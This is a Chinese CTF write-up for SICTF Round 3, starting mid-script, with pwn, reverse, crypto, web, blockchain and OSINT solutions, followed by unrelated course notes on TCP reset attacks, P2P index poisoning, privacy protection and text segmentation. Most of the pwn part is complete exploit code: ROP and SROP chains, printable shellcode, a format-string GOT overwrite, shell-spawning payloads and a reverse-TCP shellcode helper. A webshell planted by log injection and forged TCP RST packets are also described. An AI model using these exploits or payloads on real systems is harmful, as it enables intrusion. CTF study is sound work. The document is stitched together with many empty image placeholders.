]))

sl("cat /flag")
flag = ru("}")
return flag

while True:
try:
get_pwn()
flag = pwn()
if flag != b'':
log2_ex_highlight(flag)
exit()
except (EOFError):
io.close()
gift.io = copy_current_io()
except TimeoutError:
io.close()
gift.io = copy_current_io()

"""
ru("Good luck.\n")

sl("TSORBKfHQMOiOKXoiUfbLpgAYSjKzsaQxzLJLwmHGcZqiRtnIZyszItXYUTZNZV")
# sl("TSORBKfHQMOiOKXoiUfbLpgAYSjKzsaQxzLJLwmHGcZqiRtnIZyszItXYUTZNZV")

# pause()

sa("Hello?Are you okay??", flat([
b'a'*0x30,
0, # rbp
pop_rdi, 0,
pop_rsi, bss_addr,
read_again,
b'b'*0x38,
pop_rbp, bss_addr,
leave_ret
]))

pause()
s(flat([
b'/bin/sh\x00',
pop_rax, 15,
syscall_onlyonce,
SROP(bss_addr, bss_addr+0x200, syscall_onlyonce)[:-0x18]
]))

ia()

"""

Bug_Zapper_Pro+

这题在Bug_Zapper的条件下 加上了仅可见字符的限制,使得要构造syscall之类的shellcode难度加大,需要用一些运算手法来处理,ADD,SUB,XOR等。

最大输入长度为0x10,是sys_ptrace在没有gdb attach的情况下返回是0,所以远程最大输入长度为0x10。

本地为了调试需要patch一下,直接把跳转条件给改了。

Untitled

调试的过程中发现仅有xor [rsp], edi这样子的内存修改是合法的,而且由于长度限制,最后改syscall不能push一字节,最后xor一次性改2bytes以上才能有效节省长度,所以用上了在可执行段自带的rax,

里面的0x114514FE0,这里中间的0x51和0x4F可以通过xor来获得0xf和0x5。

所以payload写成这样,感觉搓得非常极限,最后可以读入之后就随便写shellcode了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
pad = """
push rax
xor [rsp], ah
pop rsi
xor [rsi+0x41-0x3], esi
push rbx
pop rax
push 0x50
pop rdx
"""
shellcode = asm(pad)

# pause()
sa("Feedback >>> ", shellcode + b'\x3f\x40\x54') # junk code + syscall
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
#!/usr/bin/env python3
# Use pwncli
# Date: 2024-02-17 11:53:25
# Editor: hkbin
# Usage:
# Debug : python3 exp.py debug elf-file-path -t -b malloc -b \$rebase\(0x3000\)
# Remote: python3 exp.py remote elf-file-path ip:port

from pwncli import *
cli_script()

context.arch="amd64"
file_path = "/home/hkbin/Workspace/competition/SICTF_ROUND3/pwn/Bug_Zapper_revenge/pwn"

io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc

def cmd(i, prompt):
sla(prompt, i)

def add():
cmd('1')
#......

def edit():
cmd('2')
#......

def show():
cmd('3')
#......

def dele():
cmd('4')
#......

# one_gadgets: list = get_current_one_gadget_from_libc(more=False)
# one_gadgets: one_gadget_binary(binary_path, more)
# CurrentGadgets.set_find_area(find_in_elf=True, find_in_libc=False, do_initial=False)
# Shellcode:ShellcodeMall.amd64
# tcache safelinking: protect_ptr(address, next)
# tcache safelinking_de: reveal_ptr(data)
# recvlibc: recv_current_libc_addr(offset(int), timeout(int))
# set_libcbase: set_current_libc_base_and_log(addr(int), offset(str or int))
# set_elfbase: set_current_code_base_and_log(addr, offset)

# burp:
# for i in range(0x10):
# try:
# new_func()
# except (EOFError):
# gift.io = copy_current_io()

from ae64 import AE64

# """
# push rax
# pop rsi
# push 0x3c595941
# pop rdi
# sub [rsi], edi
# """
# pad = """
# push 0x55
# pop rbp
# push rax
# xor [rsp], ebp
# pop rsi
# xor [rsi+0x3b-0x3], esi
# push rbx
# pop rax
# """

# pause() # 0x10 bytes
pad = """
push rax
xor [rsp], ah
pop rsi
xor [rsi+0x41-0x3], esi
push rbx
pop rax
push 0x50
pop rdx
"""
shellcode = asm(pad)

# pause()
sa("Feedback >>> ", shellcode + b'\x3f\x40\x54') # junk code + syscall

pause()
s(flat([
ShellcodeMall.amd64.cat_flag.ljust(0x41, b'\x00'),
asm("""
mov rax, 0x114514faf
jmp rax
""")
]))

ia()

Eeeeasy_Cpp

唉c++,ubuntu22.04跑报错缺c++库,需要在docker里面起个ubuntu23.04里面才能跑。

漏洞点在于cin输入,可以通过\x00截断后面得字符串长度判断,从而达到任意长度输入导致栈溢出。

这里是strings类型输入,所以会在堆里,溢出会覆盖后面的堆,输入一定长度会发现它挂了。

仔细看后面覆盖的内容,可以发现后面有两个指针可以被覆盖,一个是vtable的指针,也就是跳转G和P的函数,另一个居然是name输入的地址…(原来是用堆存储的)

Untitled

将后一个指针改为got表的内容之后通过P即可泄露libc,然后再G即可修改got表内容,最后还有个后门函数,就可以控制RIP了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
#!/usr/bin/env python3
# Use pwncli
# Date: 2024-02-16 18:04:14
# Editor: hkbin
# Usage:
# Debug : python3 exp.py debug elf-file-path -t -b malloc -b \$rebase\(0x3000\)
# Remote: python3 exp.py remote elf-file-path ip:port

from pwncli import *
cli_script()
set_remote_libc('libc.so.6')

context.arch="amd64"
file_path = "/home/hkbin/Workspace/competition/SICTF_ROUND3/pwn/ezcpp/pwn"

io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc

def cmd(i, prompt):
sla(prompt, i)

def add():
cmd('1')
#......

def edit():
cmd('2')
#......

def show():
cmd('3')
#......

def dele():
cmd('4')
#......

# one_gadgets: list = get_current_one_gadget_from_libc(more=False)
# one_gadgets: one_gadget_binary(binary_path, more)
# CurrentGadgets.set_find_area(find_in_elf=True, find_in_libc=False, do_initial=False)
# Shellcode:ShellcodeMall.amd64
# tcache safelinking: protect_ptr(address, next)
# tcache safelinking_de: reveal_ptr(data)
# recvlibc: recv_current_libc_addr(offset(int), timeout(int))
# set_libcbase: set_current_libc_base_and_log(addr(int), offset(str or int))
# set_elfbase: set_current_code_base_and_log(addr, offset)

# burp:
# for i in range(0x10):
# try:
# new_func()
# except (EOFError):
# gift.io = copy_current_io()

#pause()
#sl(b"a\x00" + b'b'*0x20)

#pause()
ru("I'll give you a gift: ")
elf_base = int(rl()[:-1].decode(), 16) - 0x2650
log2_ex(hex(elf_base))

backdoor = elf_base + 0x22E0

sl("G")

sla("Enter your name: ", b'a'*8)

sla("Enter your password: ", b'b'*0x7 + b'\x00' + p64(backdoor)*0x2)

sl("G")

sla("Enter your name: ", b'a'*8)

sla("Enter your password: ", b'b'*0xf + b'\x00\x00' + b'c'*0xf + p64(elf_base + 0x4D48) + p64(elf_base + 0x5030))

sl("P")
pause()
#leak_libc = recv_current_libc_addr()
#log2_ex(hex(leak_libc))

#libc_base = leak_libc - (0x7f8ccc4a2fc0 - 0x7f8ccc31f000)
#log2_ex(hex(libc_base))

# got change
sl("G")

sla("Enter your name: ", p64(backdoor))

sla("Enter your password: ", b'11')

#sla("Enter your password: ", b'b'*0x10 + b'\x00' + b'c'*0xf + p64(elf_base + 0x4D48) + p64(libc_base + libc.sym['__environ']))

ia()

overflow

又是cin和string,开了canary,有后门

输入个0x100长度的a,发现它挂了。

Untitled

将rdi控制为bss区,然后就不会卡住了

但是在栈里发现:

Untitled

往我们的地方写入了,估计是覆盖了strings的指针导致任意写入了。

然后将这个指针改为__stack_chk_fail函数的got表,往里输入backdoor地址即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#!/usr/bin/env python3                                                                                                                                                                                                        
# Use pwncli
# Date: 2024-02-17 11:50:23
# Editor: hkbin
# Usage:
# Debug : python3 exp.py debug elf-file-path -t -b malloc -b \$rebase\(0x3000\)
# Remote: python3 exp.py remote elf-file-path ip:port

from pwncli import *
cli_script()


context.arch="amd64"
file_path = "/home/hkbin/Workspace/competition/SICTF_ROUND3/pwn/overflow/pwn"

io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc

def cmd(i, prompt):
sla(prompt, i)

def add():
cmd('1')
#......

def edit():
cmd('2')
#......

def show():
cmd('3')
#......

def dele():
cmd('4')
#......

# one_gadgets: list = get_current_one_gadget_from_libc(more=False)
# one_gadgets: one_gadget_binary(binary_path, more)
# CurrentGadgets.set_find_area(find_in_elf=True, find_in_libc=False, do_initial=False)
# Shellcode__ShellcodeMall.amd64
# tcache safelinking: protect_ptr(address, next)
# tcache safelinking_de: reveal_ptr(data)
# recvlibc: recv_current_libc_addr(offset(int), timeout(int))
# set_libcbase: set_current_libc_base_and_log(addr(int), offset(str or int))
# set_elfbase: set_current_code_base_and_log(addr, offset)

# burp:
# for i in range(0x10):
# try:
# new_func()
# except (EOFError):
# gift.io = copy_current_io()

pause()
sl(flat([
p64(0x4011D0)*2,
b'a'*0x80,
p64(0x404018) * 8
]))

ia()

Bug_Zapper

shellcode题了,最多输入0x10的shellcode,控制shellcode再读一次sys_read即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#!/usr/bin/env python3
# Use pwncli
# Date: 2024-02-16 14:36:19
# Editor: hkbin
# Usage:
# Debug : python3 exp.py debug elf-file-path -t -b malloc -b \$rebase\(0x3000\)
# Remote: python3 exp.py remote elf-file-path ip:port

from pwncli import *
cli_script()

context.arch="amd64"
file_path = "/home/hkbin/Workspace/competition/SICTF_ROUND3/pwn/Bug_Zapper/pwn"

io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc

def cmd(i, prompt):
sla(prompt, i)

def add():
cmd('1')
#......

def edit():
cmd('2')
#......

def show():
cmd('3')
#......

def dele():
cmd('4')
#......

# one_gadgets: list = get_current_one_gadget_from_libc(more=False)
# one_gadgets: one_gadget_binary(binary_path, more)
# CurrentGadgets.set_find_area(find_in_elf=True, find_in_libc=False, do_initial=False)
# Shellcode:ShellcodeMall.amd64
# tcache safelinking: protect_ptr(address, next)
# tcache safelinking_de: reveal_ptr(data)
# recvlibc: recv_current_libc_addr(offset(int), timeout(int))
# set_libcbase: set_current_libc_base_and_log(addr(int), offset(str or int))
# set_elfbase: set_current_code_base_and_log(addr, offset)

# burp:
# for i in range(0x10):
# try:
# new_func()
# except (EOFError):
# gift.io = copy_current_io()

"""syscall 0x55 ~ 0x65"""

pad = """
xchg rax, rsi
mov dx, 0xff
syscall
"""

pause() # 6 bytes
s(asm(pad).ljust(0xb, b'\x00'))

s(b'a'*8 + ShellcodeMall.amd64.execve_bin_sh)

ia()

Easy_SI

格式化字符串漏洞盲打

友善的是远程版本为ubuntu22.04

leak完libc就摁打就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
from pwn import *
from pwncli import gift
import ctypes
context.terminal = ["tmux","splitw","-h"]

context.log_level = "debug"
context.arch = "amd64"

filename = "./pwn"
libc_name = "/lib/x86_64-linux-gnu/libc.so.6"
remote_ip = "yuanshen.life"
remote_port = "33000"

libc = ELF(libc_name)

mode = 1

s = lambda x: p.send(x)
r = lambda x: p.recv(x)
ra = lambda: p.recvall()
rl = lambda: p.recvline(keepends=True)
ru = lambda x: p.recvuntil(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
ia = lambda: p.interactive()
c = lambda: p.close()

if mode:
p = remote(remote_ip, remote_port)
else:
p = process(filename)

def bpp():
gdb.attach(p)
pause()

def log(x):
print("\x1B[36m{}\x1B[0m".format(x))

"""pwncli"""
def reverse_tcp():
from pwncli import ShellcodeMall
reverse_tcp = ShellcodeMall.amd64.reverse_tcp_connect(ip="127.0.0.1", port=10001)
return reverse_tcp

# gadgets
"""
from pwncli import CurrentGadgets, gift

gift['elf'] = ELF("./pwn")
gift['libc'] = ELF()

CurrentGadgets.set_find_area(find_in_elf=True, find_in_libc=False, do_initial=False)

pop_rdi_ret = CurrentGadgets.pop_rdi_ret()

execve_chain = CurrentGadgets.execve_chain(bin_sh_addr=0x11223344)
"""

# libc search
"""
from pwncli import LibcBox
libc_box = LibcBox()
libc_box.add_symbol("system", 0x640)
libc_box.add_symbol("puts", 0x810)
libc_box.search(download_symbols=False, download_so=False, download_deb=True) # 是否下载到本地
read_offset = libc_box.dump("read")
"""

# onegadgets
"""
from pwncli import get_current_one_gadget_from_libc
# 获取当前装载的libc的gadget
all_ogs = get_current_one_gadget_from_libc()
"""

sla("And now let's start the game!!!\n", "aaaaaaaa%p-%p-%p")

leak_libc = int(rl()[-15:-1].decode(), 16) - 0x607e2
log(hex(leak_libc))

sla("And now let's start the game!!!\n", "aaaaaaaa%p")

leak_rsi = int(rl()[-15:-1].decode(), 16)
log(hex(leak_rsi))

offset = 6

ogs = [0xebc81, 0xebc85, 0xebc88, 0xebce2, 0xebd38, 0xebd3f, 0xebd43]

sla("And now let's start the game!!!\n", "aaaaaaaa%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p")

leak_libc = int(rl()[-15:-1].decode(), 16) - (0x7ffff7c29e40 - 0x7ffff7c00000)
log(hex(leak_libc))

sla("And now let's start the game!!!\n", flat([
fmtstr_payload(offset, {0x404018: leak_libc + ogs[1]}),
b'\x00'
]))

# sa("And now let's start the game!!!\n", flat([
# b"%7$s\x00\x00\x00\x00",
# 0x404018
# ]))

ia()

stack

漏洞点在于比较的时候比较1bytes,读入确是4bytes读入

Untitled

控制rip随便打了

Reverse

CloseMe

IDA动态调试,摁调之后就会发现最后的最后有一个神秘的异或

Untitled

得到一个hint:

1
Every time you close the messagebox by click `Yes` or `No`, it will be stored. Just choose Yes/No(1/0) in a certain order which is the flag, such as 01001

然后往上的这里有个逻辑是判断的

Untitled

v40为我们输入的字符串对应十六进制

然后还得调调 最后按这个顺序输入即可满足条件

最后包上SICTF{}

1
0110001111100101

SweetTofu

动态调试跟着跟着进入了一个xor函数

Untitled

异或一下就是flag

Ez_pyc

pycdc解密不了 发现python是3.8,配个anaconda就可以用decompyle3和uncompyle6等解密

decompyle3解密一下,然后改了改尝试爆破,最后发现不行,看上去很像9*9数独。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
# uncompyle6 version 3.9.0
# Python bytecode version base 3.8.0 (3413)
# Decompiled from: Python 3.8.13 (default, Mar 28 2022, 11:38:47)
# [GCC 7.5.0]
# Embedded file name: E:\CTF赛题\ez_pyc\233.py
# Compiled at: 2024-02-16 09:19:13
# Size of source mod 2**32: 1178 bytes
import hashlib

"""
# # # # # # # # # #
# 0 1 9 0 0 0 3 0 7
# 8 0 0 0 0 0 0 0 0
# 4 0 0 0 0 0 2 0 0
# 0 0 0 0 3 0 0 0 0
# 5 0 0 0 6 0 0 2 0
# 0 7 0 0 0 0 0 3 1
# 0 0 0 0 0 0 0 0 0
# 0 0 8 0 9 0 7 0 0
# 0 0 0 0 0 0 0 0 0

0 1 9 0 0 0 3 0 7
8 0 0 0 0 0 0 0 0
4 0 0 0 0 0 2 0 0
0 0 0 0 3 0 0 0 0
5 0 0 0 6 0 0 2 0
0 7 0 0 0 0 0 3 1
0 0 0 0 0 0 0 0 0
0 0 8 0 9 0 7 0 0
0 0 0 0 0 0 0 0 0

2456835127469673891564192578837194925486324875196156342796214853

2456835127469673891564192578837194925486324875196156342796214853

219456387835127469467389215641932578583761924972548631324875196158693742796214853

2 1 9 4 5 6 3 8 7
8 3 5 1 2 7 4 6 9
4 6 7 3 8 9 2 1 5
6 4 1 9 3 2 5 7 8
5 8 3 7 6 1 9 2 4
9 7 2 5 4 8 6 3 1
3 2 4 8 7 5 1 9 6
1 5 8 6 9 3 7 4 2
7 9 6 2 1 4 8 5 3

"""

k = [['#'] * 10,
[
'#', 0, 1, 9] + [0] * 3 + [3, 0, 7],
[
'#', 8] + [0] * 8,
[
'#', 4] + [0] * 5 + [2, 0, 0],
[
'#'] + [0] * 4 + [3] + [0] * 4,
[
'#', 5] + [0] * 3 + [6, 0, 0, 2, 0],
[
'#', 0, 7] + [0] * 5 + [3, 1],
[
'#'] + [0] * 9,
[
"'#'", 0, 0, 8, 0, 9, 0, 7, 0, 0],
[
'#'] + [0] * 9]
cnt = 0
s = str(2456835127469673891564192578837194925486324875196156342796214853) # 十六进制输入

try:
for x in s:
if x not in [str(t) for t in range(1, 10)]: # 这里判断1~9??
s[cnt + 43690] = 1 # error
else: # 所以输入都得是1~9 数字十六进制输入 byd数独
for i in range(1, len(k)):
for j in range(1, len(k[i])):
if k[i][j] == 0:
k[i][j] = int(s[cnt]) # fun 必须先填满
cnt += 1
else:
print(cnt)
print(k)
for i in range(1, len(k)):
for j in range(1, len(k)):
if j not in k[i]:
s[cnt + 3735928559] = 0
else:
for i in range(1, len(k)):
tmp = []
for j in range(1, len(k)):
tmp.append(k[j][i])

except Exception as e:
try:
pass
finally:
e = None
del e
# else:
# for j in range(1, len(k)):
# if j not in tmp:
# s[cnt + 3735928559] = 1
# else:
# for i in range(1, len(k), int(len(k) ** 0.5)):
# for j in range(1, len(k), int(len(k) ** 0.5)):
# square = [k[x][y] for x in range(i, i + 3) for y in iter((range(j, j + 3)))]
# for t in range(1, len(k)):
# if t not in tmp:
# s[cnt + 3735928559] = 2

# else:
# m = hashlib.md5(s.encode()).hexdigest()
# if m == '60b845d09f7b818a1e1e6cd0f4a04d96':
# print('SICTF{%s}' % m)
# else:
# print('试着换一种解嘞qwq')
# input()

# except Exception as e:
#
# try:
# pass
# finally:
# e = None
# del e
# okay decompiling ./ez_pyc.pyc

但是这个数独有很多解,找了个项目能爆数独

https://github.com/sanmusen214/solve_99sudoku

Battle City

我是游戏大师~

ArtBreaker

IDA缩放一下图形显示就有flag了

Baby_C++

明文flag

Untitled

Crypto

Vigenere

在线网站跑一下

Vigenere Solver | guballa.de

Untitled

SuperRSA

不互素的共模攻击

模板套一套

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import libnum
import gmpy2

e1=55
e2=200
n= 19006830358118902392432453595802675566730850352890246995920642811967821259388009049803513102750594524106471709641202019832682438027312468849299985832675191795417160553379580813410722359089872519372049229233732405993062464286888889084640878784209014165871696882564834896322508054231777967011195636564463806270998326936161449009988434249178477100127347406759932149010712091376183710135615375272671888541233275415737155953323133439644529709898791881795186775830217884663044495979067807418758455237701315019683802437323177125493076113419739827430282311018083976114158159925450746712064639569301925672742186294237113199023
c1= 276245243658976720066605903875366763552720328374098965164676247771817997950424168480909517684516498439306387133611184795758628248588201187138612090081389226321683486308199743311842513053259894661221013008371261704678716150646764446208833447643781574516045641493770778735363586857160147826684394417412837449465273160781074676966630398315417741542529612480836572205781076576325382832502694868883931680720558621770570349864399879523171995953720198118660355479626037129047327185224203109006251809257919143284157354935005710902589809259500117996982503679601132486140677013625335552533104471327456798955341220640782369529
c2= 11734019659226247713821792108026989060106712358397514827024912309860741729438494689480531875833287268454669859568719053896346471360750027952226633173559594064466850413737504267807599435679616522026241111887294138123201104718849744300769676961585732810579953221056338076885840743126397063074940281522137794340822594577352361616598702143477379145284687427705913831885493512616944504612474278405909277188118896882441812469679494459216431405139478548192152811441169176134750079073317011232934250365454908280676079801770043968006983848495835089055956722848080915898151352242215210071011331098761828031786300276771001839021

_,s1,s2=gmpy2.gcdext(e1,e2)
print(s1, s2)
m1=(pow(c1,s1,n)*pow(c2,s2,n))%n
print(m1)
x=gmpy2.gcd(e1,e2)
print(x)
k=0
while 1:
m11=m1+k*n
m,s=gmpy2.iroot(m11,x)
if s:
print(libnum.n2s(int(m)))
break
k+=1
print(k)

Misc

签到

Web

100%_upload

可目录穿越读到日志

Untitled

Untitled

日志注入写一句话马,蚁剑连接获取flag

Untitled

Blockchain

CheckinNewYear

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// SPDX-License-Identifier: shu shao de xiao mi di
pragma solidity ^0.8.9;
contract HappyNewYear{
string private NewYear;
constructor(string memory _newyear ) {
NewYear = _newyear;
}
function happyNewYear(string memory _newYear) public payable {
require(uint160(msg.sender) |
2**16 * 3**3 * 5 * 7 * 13 * 17 * 19 * 37 * 73 * 97 * 109 * 241 * 257 * 433 * 577 * 673 * 38737 * 487824887233 ==
2**2 * 17 * 67 * 733 * 316139 * 18992431891 * 72887484710091183279372959
,"Not this Year");
NewYear = _newYear;
}

function isSolved() public view returns (bool){
require(keccak256(abi.encodePacked(NewYear)) == keccak256(abi.encodePacked("Happy")),"not HappyNewYear");
return true;
}

}

要求msg.sender是0x2024结尾的,爆一下地址就能找到,添加钱包之后remix ide发送Happy就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from eth_keys import keys
import os

def mine_eth_address(suffix):
found = False
while not found:
# Generate a new private key
private_key_bytes = os.urandom(32)
private_key = keys.PrivateKey(private_key_bytes)

# Get the corresponding public key
public_key = private_key.public_key

# Derive the Ethereum address from the public key
eth_address = public_key.to_checksum_address()

# Check if the address ends with the specified suffix
if eth_address.endswith(suffix):
found = True
print(f"Address: {eth_address}")
print(f"Private Key: {private_key}")
else:
print(f"Trying address {eth_address}...")

return eth_address, private_key

# Run the script with the desired suffix ('2024')
mine_eth_address('2024')

Forensics

OSINT签到

有椰子树,猜是海南

http://guoqing.china.com.cn/2018-10/11/content_65573660.htm

网上找到个差不多一样的

Untitled

树木的压迫

也是一样,网上找到差不多的图片

https://www.sohu.com/a/679307641_121687424

Untitled

标题为四川达州,打开百度地图仔细找一下类似体育场的就行

真的签到

抖音找到个类似的摩天轮

Untitled

打开地图在周围确认一下发现一样

概述

什么是网络空间?网络空间的四个基本要素包括哪些?

Untitled

Untitled

什么是网络空间安全?网络空间安全学科的研究方向有哪些?

Untitled

Untitled

Untitled

Untitled

《网络安全法》中的主体、客体主要有哪些?试列举各主体的基本责任和义务。

Untitled

Untitled

Untitled

Untitled

什么是网络空间主权?基本原则是什么?(独立平等自主管辖)

Untitled

Untitled

Untitled

什么是信息内容安全?

主要涉及对传播信息的有效审查监管,剔除非授权信息(非法信息、泄密信息、垃圾邮件等),保护授权信息。

Untitled

信息内容安全技术主要包括哪些?(获取、识别、分析、管控)

Untitled

Untitled

信息内容安全技术面临的挑战是什么?(数据量大,计算复杂度高,网络技术新,社会矛盾深)

Untitled

Untitled

信息内容安全管理

Created: November 29, 2023 4:36 PM
Reviewed: No

信息内容安全管理的目标是什么

  • 剔除非授权信息(非法信息、泄密信息、垃圾邮件等)

  • 保护授权信息(知识产权)

TCP重置攻击

Untitled

伪造的难点:Seg number必须满足:

Untitled

Untitled

所以总结一下要干什么:

  1. 嗅探通信双方的交换信息。

  2. 截获一个ACK标志位置为1的报文段,并读取其ACK号。

  3. 伪造一个TCP重置报文段(RST 标志位置为1),其序号等于上面截获的ACK号

  4. 这只是理想情况下的方法,假设信息交换的速度不是很快。大多数情况下为了增加成功率,可以连续发送序列号不同的重置报文,将伪造好的重置报文发送给任意一方,使TCP链接中断。

P2P网络的管理方法

基于用户来源交换的控管技术

BT协议的脆弱性

  • 身份验证缺陷

  • 协议不规范

伪造用户来进行P2Plink,消耗网络资源

基于分布式哈希表的隔离管控技术

索引毒害

找到所有指向索引节点集的前一跳节点

发布伪造的Sybil节点

路由污染

生成靠近目标InfoHash的节点ID

主动污染和被动污染

索引污染

Untitled

Untitled

https://www.notion.so

Untitled

资源占用攻击

Untitled

Untitled

数据欺骗

Untitled

Untitled

Untitled

Untitled

P2P机制:

分片机制。
BitTorrent像其他文件共享软件一样对文件进行了分片(Piece),Piece是最小的文件共享单位,每个Leecher在下载完一个完整的分片后才会进行完整性校验, 完整性校验成功后通知其他节点自己拥有这部分数据。为了加快文件传输的并行性,每个分片还会分成更小的分块(Block), Block是最小的文件传输单位,数据请求者每次向数据提供者请求一个Block的数据。

片选择机制。为了保证共享网络的健壮性,延长一个共享网络的生命周期, BitTorrent通过局部最少块优先(Rarest-First)策略在节点间交换数据。下载节点根据自己周围的邻居节点拥有的数据块信息,选择拥有节点最少的分块优先下载,从而维护局部的数据块相对平衡。

所以会导致别的节点不去下载分块1,从而请求的时候,如果有一个唯一具有分块1退出了网络,则该网络中再也没有分块1。

数据块污染

Untitled

Untitled

Untitled

Eclipse方法

Untitled

Untitled

Untitled

Untitled

Untitled

隐私保护技术

隐私数据的分类

  • 显示标识符:能够唯一识别一个用户身份的属性,比如姓名、身份证号码等

  • 准标识符:不能唯一识别一个用户身份的属性,需多个属性组合才能唯一识别一个用户身份,如地址、性别、生日等

  • 敏感信息:涉及隐私信息的属性,如薪资、健康状况和财务信息等

隐私度量的概念

用来评估个人的隐私水平及隐私保护技术能达到的效果,同时也为了测量”隐私”这个概念。

基于匿名的隐私度量方法:k-anonymity(k-匿名),I-diversity(I-多样性),t-closeness(t-近似性)

Untitled

Untitled

Untitled

Untitled

Untitled

Untitled

Untitled

Untitled

Untitled

Untitled

Untitled

Untitled

Untitled

Untitled

3)基于差分隐私的度量方法,能解决的问题,了解即可。

  • 差分隐私:用一种方法使得查询n个记录和查询n-1个记录得到的结果是相对一致的,那么攻击者无法通过比较(差分)查询结果的不同找出第n 个记录的信息。

    • 对于差别只有一条记录的两个数据集 D 和 D’ (neighboring datasets),查询他们获得结果相同的概率非常接近。
    • 攻击者无法通过观察计算结果而获取准确的个体信息.

    Untitled

4)常用的隐私保护技术的分类,熟练掌握四种类别,各种隐私保护方法的分类归属。

  • 变换:

Untitled

  • 分治:

Untitled

  • 隐匿:

Untitled

  • 混淆:

Untitled

5)同态加密技术的原理,了解即可

Untitled

6)联邦学习的原理,横向、纵向、迁移学习

比如业务相同但是分布在不同地区的两家企业,它们的用户群体分别来自各自所在的地区,相互的交集很小。但是,它们的业务很相似,因此,记录的用户特征是相同的。此时,就可以使用横向联邦学习来构建联合模型。

比如有两个不同机构,一家是某地的银行,另一家是同一个地方的电商。它们的用户群体很有可能包含该地的大部分居民,因此用户的交集较大。但是,由于银行记录的都是用户的收支行为与信用评级,而电商则保有用户的浏览与购买历史,因此它们的用户特征交集较小。纵向联邦学习就是将这些不同特征在加密的状态下加以聚合,以增强模型能力的联邦学习。目前机器学习模型如逻辑回归、决策树等均是建立在纵向联邦学习系统框架之下的。

比如有两个不同机构,一家是位于中国的银行,另一家是位于美国的电商。由于受到地域限制,这两家机构的用户群体交集很小。同时,由于机构类型的不同,二者的数据特征也只有小部分重合。在这种情况下,要想进行有效的联邦学习,就必须引入迁移学习,来解决单边数据规模小和标签样本少的问题,从而提升模型的效果。

Untitled

Untitled

Untitled

Untitled

Untitled

7)基于位置的隐私保护,攻击模型和保护方法了解即可

Untitled

Untitled

文本分类

文本分类和文本聚类的区别

分类问题:一般是指事先确定好类别,然后将集合中的元素分别划分到相应类别中的问题。

聚类问题:一般是指事先没有确定好类别,而是根据集合中各元素的某些特点而形成的分类,也就是子集。

文本表示方法

空间向量模型

Untitled

也就是用特征构造的向量来表示(N维空间)

将文字转换为坐标值的方法→One-Hot编码

Untitled

但是语料库太大了,这样表示的话每个向量都巨大无比。

Bags-of-Words(BOW,词袋模型)

Untitled

和One-Hot差不多

我们并没有表达单词在原来句子中出现的次序,这也是 Bag-of-Words 模型的缺点之一。

N-Gram模型

https://www.notion.so

可以当成是BOW的改进版,多了个滑窗,也就是相近的两个单词为一个,所以考虑了句子原来的次序。

TF-IDF模型

Untitled

Untitled

看看例题

Untitled

Untitled

Untitled

Untitled

文本预处理-分词

这一步就是为了获取文本中的词语信息的。

文本预处理主要包括 分词、去除停用词和特殊符号。

英语的基本单位是单词,可以根据空格和标点符号进行分词,然后提取词根和词干。

中文的基本单位是字,需要一些算法来进行分词。

基于字符串的分词方法

该方法就是将待分词的字符串从头到尾开始切分出字串,再与现存几乎所有的中文词语的词典匹配,若匹配成功,则字串是一个词语。

Untitled

Untitled

基于统计及机器学习的分词方法

Untitled

Untitled

Untitled

jieba分词

jieba库有三种分词模式:

Untitled

原理是这个:

Untitled

本质就是,构造DAG图。

然后采取动态规划的策略,查找最大概率的路径(这个是个切分组合)

对于未登录词,用HMM模型来处理。

Untitled

特征提取

